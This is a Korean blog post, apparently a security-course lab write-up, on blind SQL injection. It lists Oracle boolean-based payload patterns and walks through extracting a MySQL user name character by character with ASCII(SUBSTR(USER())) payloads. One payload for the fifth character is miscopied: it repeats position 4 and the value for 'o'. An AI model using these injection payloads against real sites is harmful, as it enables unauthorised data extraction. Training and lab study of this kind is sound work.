| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
- 예술의 전당
- Practical Malware Analysis Labs
- 루키즈 31기
- sk 쉴더스 루키즈
- 우아한테크코스
- 우테코
- 백엔드
- 레나튜토리얼
- 알고리즘
- 동적분석
- SK쉴더스루키즈
- 깃
- 웹개발
- 레나 튜토리얼
- 위상 정렬
- 프리코스
- top-cert
- 루키즈31기
- 리버싱
- 자바
- sk 쉴더스 루키즈 31기
- linux
- webhacking
- React
- Dreamhack
- c
- 루키즈
- sk쉴더스 루키즈
- 악성코드 분석
- sk 쉴더스
- Today
- Total
yon11b
[SK 쉴더스 루키즈] Blind SQL Injection(MySQL USER명 탈취) 본문
언제 쓰는가?
union도 안되고 에러 based도 안 되는데 쿼리문 작동은 되는 경우
종류
- Boolean-based Blind SQLi: 참 / 거짓에 따라 페이지 내용이 달라지는 것을 이용
- Time-based Blind SQLi: 조건이 참일 때 일정 시간 지연시키는 방식
Boolean Based 방법(Oracle 기준)
1. ASCII 숫자 비교
AND ASCII(SUBSTR((SELECT USER FROM DUAL),1,1)) = 65
2. 문자 직접 비교
AND SUBSTR((SELECT USER FROM DUAL),1,1) = 'A'
3. LIKE 패턴 비교
AND (SELECT USER FROM DUAL) LIKE 'A%'
4. INSTR 위치 비교
AND INSTR((SELECT USER FROM DUAL), 'A') = 1
5. REGEXP_LIKE 정규식 비교
AND REGEXP_LIKE((SELECT USER FROM DUAL), '^A')
6. 문자 크기 비교
AND SUBSTR((SELECT USER FROM DUAL),1,1) > 'A'
7. LENGTH 길이 비교
AND LENGTH((SELECT USER FROM DUAL)) = 5
8. EXISTS 존재 여부
AND EXISTS (
SELECT 1
FROM USER_TABLES
WHERE TABLE_NAME = 'MEMBER'
)
9. COUNT 개수 비교
AND (
SELECT COUNT(*)
FROM USER_TABLES
) > 0
공격흐름
- 쿼리문 유추
- 공격 포인트 찾기
- 테이블명 탈취
- 컬럼명 탈취
- 개인정보 탈취
MySQL 4번 Blind Injection 문제
입력값을 참 and {공격쿼리문} 으로 줘서 해당 결과가 참일 때와 동일하게 나온다면 공격쿼리문도 참이라는 뜻이다.
공격쿼리문에 테이블명의 첫번째 글자가 's'인가? 등을 넣어 확인하는 식으로 작동한다.
공지사항 메뉴에서 블라인드 인젝션이 발견되었다. DB USER명을 탈취하여 입력하시오.
(DB USER명은 5글자 이내 소문자임) / (DB USER명은 {DB USER명}@localhost)
쿼리문 유추
select * from board where title like '%%'
공격 포인트 찾기
a%' and '%'='
위의 쿼리문의 결과가 그냥 a를 입력했을 때의 결과랑 같다. ==> %' and '%'=' 이 잘 작동했다!
유저명 길이 알아내기
a%' and LENGTH(USER())>0 AND '%'='
a%' and LENGTH(USER())=19 AND '%'='
유저명 길이: 19
유저명 탈취(한글자씩)
첫번째 글자
a%' AND ASCII(SUBSTR(USER(),1,1)) = 105 AND '%'='

105는 i이다.
두번째 글자
a%' AND ASCII(SUBSTR(USER(),2,1)) = 110 AND '%'='
n
세번째 글자
a%' AND ASCII(SUBSTR(USER(),3,1)) = 102 AND '%'='
f
네번째 글자
a%' AND ASCII(SUBSTR(USER(),4,1)) = 111 AND '%'='
o
다섯번째 글자
a%' AND ASCII(SUBSTR(USER(),4,1)) = 111 AND '%'='
s
유저명: infos
근데 이상한 점이 있다.
문제에서 DB USER명은 5글자 이내 소문자라고 했는데 실제로 길이를 출력해보니 19글자로 나왔고, ascii로 한글자씩 검사를 해봐도 6번째 글자~19번째 글자까지도 찾을 수 있었다.
여덟번째 글자
a%' AND ASCII(SUBSTR(USER(),8,1)) =48 AND '%'='
0
아홉번째 글자
a%' AND ASCII(SUBSTR(USER(),9,1)) =46 AND '%'='
.
열번째 글자
a%' AND ASCII(SUBSTR(USER(),10,1)) =50 AND '%'='
2
열한번째 글자
a%' AND ASCII(SUBSTR(USER(),11,1)) =51 AND '%'='
3
이 이유는 mysql DB에는 유저명이 그대로 admin(예시)로 저장되지만,
USER()는 현재 접속 세션 정보를 보여주기 때문에 SELECT USER()를 하면 admin@192.168.23.2 와 같이 뒤에 접속한 ip정보까지 같이 출력이 된다.
그래서 실제 user명은 5글자이고, 내가 출력해본 user()은 19글자가 나온 것이다.
문제에서는 실제 user명만 요구했으므로 infos만 적어주면 된다.
'보안 > SK 쉴더스 루키즈' 카테고리의 다른 글
| [SK 쉴더스 루키즈] 쇼핑몰 Blind SQL Injection(Oracle) (0) | 2026.06.25 |
|---|---|
| [SK 쉴더스 루키즈] Blind SQL Injection(Oracle 컬럼명 탈취) (0) | 2026.06.25 |
| [SK 쉴더스 루키즈] Error Based SQL Injection(MySQL) (0) | 2026.06.24 |
| [SK 쉴더스 루키즈] Error Based SQL Injection(Oracle), +Burp Suite 로 푸는 방법 (0) | 2026.06.23 |
| [SK 쉴더스 루키즈] UNION SQL Injection (Oracle, SQLite, MySQL) (0) | 2026.06.22 |